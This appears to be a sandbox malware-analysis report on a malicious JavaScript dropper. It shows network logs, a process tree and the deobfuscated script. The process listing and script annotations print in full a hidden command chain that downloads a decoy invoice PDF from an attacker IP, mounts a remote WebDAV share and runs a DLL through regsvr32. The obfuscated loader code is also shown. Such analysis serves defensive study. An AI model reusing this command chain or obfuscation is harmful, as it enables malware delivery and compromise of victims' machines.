Jan 10, 2025 18:11:52.701031923 CET	1.1.1.1	192.168.2.7	0x2549	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.40	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:11:52.701031923 CET	1.1.1.1	192.168.2.7	0x2549	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.23	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:11:52.701031923 CET	1.1.1.1	192.168.2.7	0x2549	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.21	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:11:52.701031923 CET	1.1.1.1	192.168.2.7	0x2549	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.22	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:11:52.701031923 CET	1.1.1.1	192.168.2.7	0x2549	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.43	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:11:52.701031923 CET	1.1.1.1	192.168.2.7	0x2549	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.26	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:12:13.335454941 CET	1.1.1.1	192.168.2.7	0x5bb2	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:12:13.335454941 CET	1.1.1.1	192.168.2.7	0x5bb2	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:12:37.456248045 CET	1.1.1.1	192.168.2.7	0xd5c5	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:12:37.456248045 CET	1.1.1.1	192.168.2.7	0xd5c5	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:13:01.552369118 CET	1.1.1.1	192.168.2.7	0x1a36	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:13:01.552369118 CET	1.1.1.1	192.168.2.7	0x1a36	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49721	193.143.1.205	80	7524	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 18:10:56.610373974 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 18:10:57.404906988 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 17:10:57 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 18:10:57.404970884 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 18:10:57.404983997 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 18:10:57.405005932 CET	1236	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 10, 2025 18:10:57.405025005 CET	896	IN	Data Raw: 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 00 f8 ec ec d4 bf ed Data Ascii: cyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M@Une
Jan 10, 2025 18:10:57.405038118 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 10, 2025 18:10:57.405047894 CET	224	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}n
Jan 10, 2025 18:10:57.405095100 CET	1236	IN	Data Raw: ff 6d 63 e8 87 79 0c 3d 3d e9 62 e8 a5 c4 d0 ee d8 d0 26 86 3e a4 18 6a 8e 0d 6d ff 89 c9 a6 dc 0d 9b fa e6 04 00 00 30 0d be 58 02 80 09 f9 fb 6d f8 2d fa 30 51 3d e4 f7 5b 56 7e a3 7e d1 52 a0 33 41 d8 7d 74 f1 49 71 f3 b2 77 51 27 fd 62 1d 46 Data Ascii: mcy==b&>jm0Xm-0Q=[V~~R3A}tIqwQ'bFMs>d,Qlsj>US*r5+'BV`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(
Jan 10, 2025 18:10:57.405107021 CET	1236	IN	Data Raw: 3e 29 6b a6 fa b9 d7 7a df 7b e7 a4 bf 9f 7e 59 6a a3 52 45 73 49 34 8c 59 3e 83 16 86 f5 e4 6a 75 a2 3a e8 85 f3 aa e5 cb c8 25 51 53 69 73 13 97 85 ab 2a 8c d0 9a 41 d1 5c a5 35 13 73 66 90 b0 70 79 e6 da ca 97 97 2b 7a b9 82 56 d9 43 2b 4b 68 Data Ascii: >)kz{~YjREsI4Y>ju:%QSis*A\5sfpy+zVC+KhXs}}j6AC?P}Cf~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%47;Vr\&
Jan 10, 2025 18:10:57.405132055 CET	448	IN	Data Raw: 37 07 77 ce 63 e8 c9 ed 49 13 43 6f 24 86 1e a4 18 2a c3 a1 35 49 f4 7d 57 42 db 1d b9 6d 0c dd b7 31 f4 ec b4 f9 1d 2f e5 d8 d0 9b c7 79 0c e5 d8 d0 69 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 76 98 fb 6a 61 41 6e 79 21 6d ee bc cb d1 63 fe ca 3d 34 Data Ascii: 7wcICo$5I}WBm1/yiL}s_,vjaAny!mc=4LdLOJH_[?EfW$:P2"HI34PY\1{}*0c:S!4,fzx6"4Ts~~\|5fUGKhe?0P3K~0d80]f6WD
Jan 10, 2025 18:10:57.409889936 CET	1236	IN	Data Raw: 67 85 4b f2 95 36 b7 c8 74 d1 29 42 53 42 25 9c f9 a5 c7 9a ce b5 e1 d3 e5 7b 68 61 7a 4e 27 d1 9a c5 aa f5 25 ab e6 07 06 cc 88 e8 e8 14 ad 2e a1 f2 06 93 27 4a 8f 45 ff a2 e8 b1 68 49 a2 e9 95 ad 7c b3 5d 0d 85 6f 36 df b5 c3 37 5b ee 05 35 d7 Data Ascii: gK6t)BSB%{hazN'%.'JEhI\|]o67[5tEMN@h6wthe8vJXAuzV{<z8gqc0X-07~$3G{hI0 ?ASw$Ut#*G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49742	193.143.1.205	8888	7740	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 18:11:00.077946901 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 18:11:00.887326002 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 17:11:00 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	1
Start time:	12:10:52
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2553416555111621752.js"
Imagebase:	0x7ff7cde00000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	12:10:52
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\320152996225252.dll
Imagebase:	0x7ff63f7f0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	12:10:52
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	12:10:52
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	12:10:58
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff702560000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	12:10:58
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff63f7f0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	12:10:58
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	true
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0xa90000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	12:10:59
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	12:10:59
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	12:10:59
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1628,i,13139641673470798517,2648342206125239911,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function eiuwqfae() {	eiuwqfae() ➔ undefined
1	wtfoj = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var eolfxwzh = this[kaiziec + aptkn + pxpek + sbayv + ojsli + ohnvl + txhyqz + krcnfeqk] ( this[yfmzfbrw + sgdqzgoyy + dhzgpeu + pxpek + qxsti + kaiziec + krcnfeqk][nnvhov + pxpek + ojsli + aptkn + krcnfeqk + ojsli + epqatz + vbtvawram + sfycvcw + ojsli + dhzgpeu + krcnfeqk] ( yfmzfbrw + sgdqzgoyy + dhzgpeu + pxpek + qxsti + kaiziec + krcnfeqk + qzudyvs + sgdqzgoyy + lonvyu + ojsli + rwzwhisf + rwzwhisf ) [ycuzdqz + ojsli + itfotla + ycuzdqz + ojsli + aptkn + ccsukklap] ( kbdjzf + pgrdeooe + ughkttr + vqquv + ghtxdpt + nnvhov + ohapmfxhx + ycuzdqz + ycuzdqz + ughkttr + ixgqgs + mabkbphsw + ghtxdpt + ohapmfxhx + sgdqzgoyy + ughkttr + ycuzdqz + idelaqc + nnvhov + gqmaickxa + txhyqz + krcnfeqk + pxpek + gqmaickxa + rwzwhisf + qlvgkhp + uqjlqejq + aptkn + txhyqz + ojsli + rwzwhisf + idelaqc + ohnvl + txhyqz + krcnfeqk + ojsli + pxpek + txhyqz + aptkn + krcnfeqk + qxsti + gqmaickxa + txhyqz + aptkn + rwzwhisf + idelaqc + vrsych + gqmaickxa + dhzgpeu + aptkn + rwzwhisf + ojsli ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( uekwyumqu = 0 ; uekwyumqu < wtfoj[rwzwhisf + ojsli + txhyqz + itfotla + krcnfeqk + lonvyu] ; ++ uekwyumqu )
4	{
5	if ( eolfxwzh == wtfoj[uekwyumqu] )
6	{
7	eolfxwzh = true;
8	break ;
9	}
10	}
11	if ( eolfxwzh !== true )
12	this[yfmzfbrw + sgdqzgoyy + dhzgpeu + pxpek + qxsti + kaiziec + krcnfeqk][meuow + dfdulj + qxsti + krcnfeqk] ( );
13	this[yfmzfbrw + sgdqzgoyy + dhzgpeu + pxpek + qxsti + kaiziec + krcnfeqk][nnvhov + pxpek + ojsli + aptkn + krcnfeqk + ojsli + epqatz + vbtvawram + sfycvcw + ojsli + dhzgpeu + krcnfeqk] ( yfmzfbrw + sgdqzgoyy + dhzgpeu + pxpek + qxsti + kaiziec + krcnfeqk + qzudyvs + sgdqzgoyy + lonvyu + ojsli + rwzwhisf + rwzwhisf ) [pxpek + dfdulj + txhyqz] ( dhzgpeu + hpaluz + ccsukklap + qlvgkhp + ehxipvhe + dhzgpeu + qlvgkhp + kaiziec + gqmaickxa + bshefhig + ojsli + pxpek + sbayv + lonvyu + ojsli + rwzwhisf + rwzwhisf + qzudyvs + ojsli + mfbbixo + ojsli + qlvgkhp + ugrhxssc + nnvhov + gqmaickxa + hpaluz + hpaluz + aptkn + txhyqz + ccsukklap + qlvgkhp + diycirxyb + ohnvl + txhyqz + yfxguzk + gqmaickxa + zjttp + ojsli + ugrhxssc + yfmzfbrw + ojsli + vbtvawram + ycuzdqz + ojsli + bddzwy + dfdulj + ojsli + sbayv + krcnfeqk + qlvgkhp + ugrhxssc + epqatz + dfdulj + krcnfeqk + ghlseumq + qxsti + rwzwhisf + ojsli + qlvgkhp + thwxs + krcnfeqk + ojsli + hpaluz + kaiziec + thwxs + idelaqc + qxsti + txhyqz + yfxguzk + gqmaickxa + qxsti + dhzgpeu + ojsli + qzudyvs + kaiziec + ccsukklap + tiupzdx + qlvgkhp + lonvyu + krcnfeqk + krcnfeqk + kaiziec + vocorqn + ehxipvhe + ehxipvhe + bveog + fvxnmi + ijezchqda + qzudyvs + bveog + kzqlrn + ijezchqda + qzudyvs + bveog + qzudyvs + tqtsanjus + hgvvic + lmlnt + ehxipvhe + qxsti + txhyqz + yfxguzk + gqmaickxa + qxsti + dhzgpeu + ojsli + qzudyvs + kaiziec + lonvyu + kaiziec + diycirxyb + unxqyfugo + unxqyfugo + sbayv + krcnfeqk + aptkn + pxpek + krcnfeqk + qlvgkhp + thwxs + krcnfeqk + ojsli + hpaluz + kaiziec + thwxs + idelaqc + qxsti + txhyqz + yfxguzk + gqmaickxa + qxsti + dhzgpeu + ojsli + qzudyvs + kaiziec + ccsukklap + tiupzdx + unxqyfugo + unxqyfugo + dhzgpeu + hpaluz + ccsukklap + qlvgkhp + ehxipvhe + dhzgpeu + qlvgkhp + txhyqz + ojsli + krcnfeqk + qlvgkhp + dfdulj + sbayv + ojsli + qlvgkhp + idelaqc + idelaqc + bveog + fvxnmi + ijezchqda + qzudyvs + bveog + kzqlrn + ijezchqda + qzudyvs + bveog + qzudyvs + tqtsanjus + hgvvic + lmlnt + pryfuezgq + ovarj + ovarj + ovarj + ovarj + idelaqc + ccsukklap + aptkn + yfxguzk + bshefhig + bshefhig + bshefhig + pxpek + gqmaickxa + gqmaickxa + krcnfeqk + idelaqc + unxqyfugo + unxqyfugo + dhzgpeu + hpaluz + ccsukklap + qlvgkhp + ehxipvhe + dhzgpeu + qlvgkhp + pxpek + ojsli + itfotla + sbayv + yfxguzk + pxpek + ijezchqda + tqtsanjus + qlvgkhp + ehxipvhe + sbayv + qlvgkhp + idelaqc + idelaqc + bveog + fvxnmi + ijezchqda + qzudyvs + bveog + kzqlrn + ijezchqda + qzudyvs + bveog + qzudyvs + tqtsanjus + hgvvic + lmlnt + pryfuezgq + ovarj + ovarj + ovarj + ovarj + idelaqc + ccsukklap + aptkn + yfxguzk + bshefhig + bshefhig + bshefhig + pxpek + gqmaickxa + gqmaickxa + krcnfeqk + idelaqc + ijezchqda + tqtsanjus + hgvvic + bveog + lmlnt + tqtsanjus + fvxnmi + fvxnmi + guratit + tqtsanjus + tqtsanjus + lmlnt + tqtsanjus + lmlnt + tqtsanjus + qzudyvs + ccsukklap + rwzwhisf + rwzwhisf, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\320152996225252.dll",0,false) ➔ 0
14	}
15	diycirxyb = "g";
16	diycirxyb = "x";
17	diycirxyb = "d";
18	diycirxyb = "Z";
19	diycirxyb = "T";
20	diycirxyb = "t";
21	diycirxyb = "t";
22	diycirxyb = "i";
23	diycirxyb = "s";
24	diycirxyb = "v";
25	diycirxyb = "i";
26	diycirxyb = "R";
27	diycirxyb = "i";
28	diycirxyb = "b";
29	diycirxyb = "g";
30	diycirxyb = "M";
31	diycirxyb = "U";
32	diycirxyb = "k";
33	diycirxyb = "f";
34	diycirxyb = "G";
35	diycirxyb = "\"";
36	fvxnmi = "W";
37	fvxnmi = "V";
38	fvxnmi = "V";
39	fvxnmi = "S";
40	fvxnmi = "U";
41	fvxnmi = "c";
42	fvxnmi = "X";
43	fvxnmi = "Q";
44	fvxnmi = "e";
45	fvxnmi = "h";
46	fvxnmi = "R";
47	fvxnmi = "j";
48	fvxnmi = "I";
49	fvxnmi = "l";
50	fvxnmi = "A";
51	fvxnmi = "m";
52	fvxnmi = "Z";
53	fvxnmi = "L";
54	fvxnmi = "f";
55	fvxnmi = "P";
56	fvxnmi = "V";
57	fvxnmi = "U";
58	fvxnmi = "J";
59	fvxnmi = "C";
60	fvxnmi = "Y";
61	fvxnmi = "W";
62	fvxnmi = "D";
63	fvxnmi = "c";
64	fvxnmi = "J";
65	fvxnmi = "K";
66	fvxnmi = "z";
67	fvxnmi = "H";
68	fvxnmi = "9";
69	dhzgpeu = "l";
70	dhzgpeu = "H";
71	dhzgpeu = "N";
72	dhzgpeu = "a";
73	dhzgpeu = "W";
74	dhzgpeu = "u";
75	dhzgpeu = "S";
76	dhzgpeu = "r";
77	dhzgpeu = "J";
78	dhzgpeu = "N";
79	dhzgpeu = "i";
80	dhzgpeu = "K";
81	dhzgpeu = "b";
82	dhzgpeu = "S";
83	dhzgpeu = "s";
84	dhzgpeu = "U";
85	dhzgpeu = "x";
86	dhzgpeu = "o";
87	dhzgpeu = "E";
88	dhzgpeu = "h";
89	dhzgpeu = "s";
90	dhzgpeu = "V";
91	dhzgpeu = "m";
92	dhzgpeu = "F";
93	dhzgpeu = "E";
94	dhzgpeu = "N";
95	dhzgpeu = "c";
96	txhyqz = "k";
97	txhyqz = "U";
98	txhyqz = "l";
99	txhyqz = "b";
100	txhyqz = "I";
101	txhyqz = "F";
102	txhyqz = "N";
103	txhyqz = "H";
104	txhyqz = "X";
105	txhyqz = "B";
106	txhyqz = "j";
107	txhyqz = "a";
108	txhyqz = "p";
109	txhyqz = "M";
110	txhyqz = "a";
111	txhyqz = "J";
112	txhyqz = "n";
113	txhyqz = "B";
114	txhyqz = "X";
115	txhyqz = "y";
116	txhyqz = "g";
117	txhyqz = "u";
118	txhyqz = "e";
119	txhyqz = "e";
120	txhyqz = "d";
121	txhyqz = "E";
122	txhyqz = "B";
123	txhyqz = "t";
124	txhyqz = "d";
125	txhyqz = "Y";
126	txhyqz = "k";
127	txhyqz = "n";
128	vqquv = "f";
129	vqquv = "d";
130	vqquv = "T";
131	vqquv = "q";
132	vqquv = "a";
133	vqquv = "I";
134	vqquv = "A";
135	vqquv = "y";
136	vqquv = "L";
137	vqquv = "E";
138	vqquv = "d";
139	vqquv = "h";
140	vqquv = "Q";
141	vqquv = "M";
142	vqquv = "r";
143	vqquv = "O";
144	vqquv = "a";
145	vqquv = "W";
146	vqquv = "Z";
147	vqquv = "E";
148	vqquv = "h";
149	vqquv = "Z";
150	vqquv = "X";
151	vqquv = "Y";
152	nnvhov = "c";
153	nnvhov = "V";
154	nnvhov = "j";
155	nnvhov = "O";
156	nnvhov = "i";
157	nnvhov = "e";
158	nnvhov = "s";
159	nnvhov = "L";
160	nnvhov = "g";
161	nnvhov = "P";
162	nnvhov = "N";
163	nnvhov = "y";
164	nnvhov = "p";
165	nnvhov = "a";
166	nnvhov = "C";
167	nnvhov = "l";
168	nnvhov = "r";
169	nnvhov = "t";
170	nnvhov = "N";
171	nnvhov = "W";
172	nnvhov = "T";
173	nnvhov = "p";
174	nnvhov = "a";
175	nnvhov = "a";
176	nnvhov = "y";
177	nnvhov = "X";
178	nnvhov = "o";
179	nnvhov = "o";
180	nnvhov = "r";
181	nnvhov = "R";
182	nnvhov = "c";
